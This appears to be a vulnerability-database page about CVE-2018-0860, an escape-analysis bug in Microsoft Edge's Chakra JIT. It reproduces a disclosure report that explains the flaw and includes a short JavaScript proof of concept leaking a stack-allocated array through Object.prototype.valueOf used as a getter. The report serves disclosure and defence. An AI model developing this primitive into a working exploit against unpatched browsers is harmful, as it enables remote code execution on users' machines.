| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| Microsoft Edge Chakra JIT - Memory Corruption Exploit | 15 Feb 201800:00 | – | zdt | |
| CVE-2018-0860 | 15 Feb 201800:00 | – | circl | |
| Microsoft Edge and ChakraCore Remote Memory Corruption Vulnerability (CNVD-2018-03523) | 14 Feb 201800:00 | – | cnvd | |
| Microsoft Edge Scripting Engine Memory Corruption (CVE-2018-0860) | 13 Feb 201800:00 | – | checkpoint_advisories | |
| CVE-2018-0860 | 15 Feb 201802:00 | – | cve | |
| CVE-2018-0860 | 15 Feb 201802:00 | – | cvelist | |
| ChakraCore RCE Vulnerability | 13 May 202201:18 | – | github | |
| February 13, 2018—KB4074588 (OS Build 16299.248) | 13 Feb 201808:00 | – | mskb | |
| February 13, 2018—KB4074590 (OS Build 14393.2068) | 13 Feb 201808:00 | – | mskb | |
| February 13, 2018—KB4074591 (OS Build 10586.1417) | 13 Feb 201808:00 | – | mskb |
`Microsoft Edge: Chakra: JIT: Escape analysis bug #2
CVE-2018-0860
Let's consider the following example code.
function opt() {
let arr = [];
return arr['x'];
}
// Optimize the "opt" function.
for (let i = 0; i < 100; i++) {
opt();
}
Array.prototype.__defineGetter__('x', function () {
});
opt();
Once the "opt" function has been optimized, the getter function for "x" can't be invoked from the JITed code, instead it bailouts and invokes the getter. This is due to the DisableImplicitCallFlag flag.
Here's the function handling that logic.
template <class Fn>
inline Js::Var ExecuteImplicitCall(Js::RecyclableObject * function, Js::ImplicitCallFlags flags, Fn implicitCall)
{
// For now, we will not allow Function that is marked as HasNoSideEffect to be called, and we will just bailout.
// These function may still throw exceptions, so we will need to add checks with RecordImplicitException
// so that we don't throw exception when disableImplicitCall is set before we allow these function to be called
// as an optimization. (These functions are valueOf and toString calls for built-in non primitive types)
Js::FunctionInfo::Attributes attributes = Js::FunctionInfo::GetAttributes(function);
// we can hoist out const method if we know the function doesn't have side effect,
// and the value can be hoisted.
if (this->HasNoSideEffect(function, attributes))
{
// Has no side effect means the function does not change global value or
// will check for implicit call flags
return implicitCall();
}
// Don't call the implicit call if disable implicit call
if (IsDisableImplicitCall())
{
AddImplicitCallFlags(flags);
// Return "undefined" just so we have a valid var, in case subsequent instructions are executed
// before we bail out.
return function->GetScriptContext()->GetLibrary()->GetUndefined();
}
if ((attributes & Js::FunctionInfo::HasNoSideEffect) != 0)
{
// Has no side effect means the function does not change global value or
// will check for implicit call flags
return implicitCall();
}
// Save and restore implicit flags around the implicit call
Js::ImplicitCallFlags saveImplicitCallFlags = this->GetImplicitCallFlags();
Js::Var result = implicitCall();
this->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags | flags));
return result;
}
As you can see above, it checks if the DisableImplicitCallFlag flag is set using IsDisableImplicitCall, if it is, just returns undefined and have it bailout.
The reason that the flag was set in the example code was because of the "arr" variable was allocated in the stack. It was preventing the object from leaking through implicit calls.
However, if the function has no side effect, the function gets called regardless of the flag. One such function that is marked as HasNoSideEffect, but we can abuse is the Object.prototype.valueOf method. This method returns "this" itself. So if we use this method as the getter, it will return the array object allocated in the stack.
PoC:
function opt() {
let arr = [];
return arr['x'];
}
function main() {
let arr = [1.1, 2.2, 3.3];
for (let i = 0; i < 0x10000; i++) {
opt();
}
Array.prototype.__defineGetter__('x', Object.prototype.valueOf);
print(opt());
}
main();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation